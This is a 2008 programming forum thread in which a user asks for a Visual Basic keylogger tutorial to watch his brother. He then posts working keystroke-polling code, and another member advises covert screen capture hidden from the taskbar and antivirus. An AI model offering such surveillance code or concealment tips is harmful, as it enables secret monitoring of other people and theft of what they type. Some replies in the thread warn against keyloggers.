By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
434,905 Members | 2,075 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 434,905 IT Pros & Developers. It's quick & easy.

Does anyone have a VB Keylogger Tutorial?

P: 30
Does anyone have a tutorial they could give me or post on how to make a keylogger to monitor my computer because my brother also uses it.... i dont want just the code for one, i want to understand how the VB code for it works also so i can get a feel for it... Thanx
Jan 29 '08 #1
Share this Question
Share on Google+
10 Replies


YarrOfDoom
Expert 100+
P: 1,247
I don't think keylogging is the best way to find out such things. See if you can find something in your logbooks, or if you have Vista, use parental control.
Jan 29 '08 #2

P: 30
I don't think keylogging is the best way to find out such things. See if you can find something in your logbooks, or if you have Vista, use parental control.

Ya but i also wanna understand how one is made too... and with parental controls it blocks most of the normal sites that are approved for him so im really looking into a keylogger tutorial for vb
Jan 29 '08 #3

jamesd0142
100+
P: 469
Your intentions may be innocent but it's unlikely anyone here will help or supply code for you to create a keylogger...

They're kind of frowned upon in the programming world.
Jan 30 '08 #4

Expert 5K+
P: 8,434
...They're kind of frowned upon in the programming world.
That's right. And any decent anti-malware software should detect and disable the keylogger if you do get it working.

Keyloggers are unpopular because they are a favourite way for hackers to gather critical information such as passwords, credit card details, and so on. So don't be surprised if you encounter some pretty hostile reactions in this particular quest for knowledge.
Jan 30 '08 #5

P: 30
OHHH, no way! I just want to montior what goes on on my computer, I hope people will understand that... Thanx for the clarification
Jan 30 '08 #6

P: 30
Well I went looking and I found a semi-keylogger, it's not for destructive use, but rather for experimenting.... here is the code.....

Expand|Select|Wrap|Line Numbers
  1. Public Class Form1
  2.     Dim result As Integer
  3.     Dim i As Double
  4.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
  5.  
  6.  
  7.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  8.         Timer1.Interval = 10
  9.         Timer1.Enabled = True
  10.     End Sub
  11.  
  12.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  13.         For i = 32 To 128
  14.             result = 0
  15.             result = GetAsyncKeyState(i)
  16.  
  17.  
  18.             If result = -32767 Then
  19.                 TextBox1.Text = TextBox1.Text + Chr(i)
  20.             End If
  21.         Next i
  22.     End Sub
  23.  
  24.     Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  25.         TextBox1.Text = ""
  26.     End Sub
  27. End Class
Can someone please break it down for me, because it's not malicious or hidden, it's for everyone to see on the screen. I want to understand the script better.

But if anyone does have a tutorial can they please send it to me, because it's important to me that I don't have my brother doing inappropriate things on the computer, he's a wild kid and hard to handle at times... ANY HELP would be greatly appreciated! Thanks guys!
Jan 30 '08 #7

daniel aristidou
100+
P: 491
Hey...instead of making .....a keylogger...why not make a program that captures the screen...every so often and stores it.....that way...you don't have to rely on what he types ...and an antivirus (etc) will probably not disable it........
It also gives you a beeter idea as to what is actually going on...also if your using vb08...i would make the form opacity =0% make it not appear in the taskbar add a icon in the tool tray that has a context menu that enables you to restore the opacity to 100% if you enter the correct password...
To capture the screan...there are already some post on this....use the seach at the top of the screen....
Jan 30 '08 #8

P: 30
Hey...instead of making .....a keylogger...why not make a program that captures the screen...every so often and stores it.....that way...you don't have to rely on what he types ...and an antivirus (etc) will probably not disable it........
It also gives you a beeter idea as to what is actually going on...also if your using vb08...i would make the form opacity =0% make it not appear in the taskbar add a icon in the tool tray that has a context menu that enables you to restore the opacity to 100% if you enter the correct password...
To capture the screan...there are already some post on this....use the seach at the top of the screen....
Yea, i think thats a good idea man, but itll probably take up a lot of space if it captures the sceen often... :-(
Jan 30 '08 #9

daniel aristidou
100+
P: 491
Yea, i think thats a good idea man, but itll probably take up a lot of space if it captures the sceen often... :-(
Well you can all ways delete the pictures after you view them.....any way i should think 5min intervals is good enough
Jan 30 '08 #10

P: 30
Well you can all ways delete the pictures after you view them.....any way i should think 5min intervals is good enough

OK well thanx alot man!
Jan 30 '08 #11

Post your reply

Sign in to post your reply or Sign up for a free account.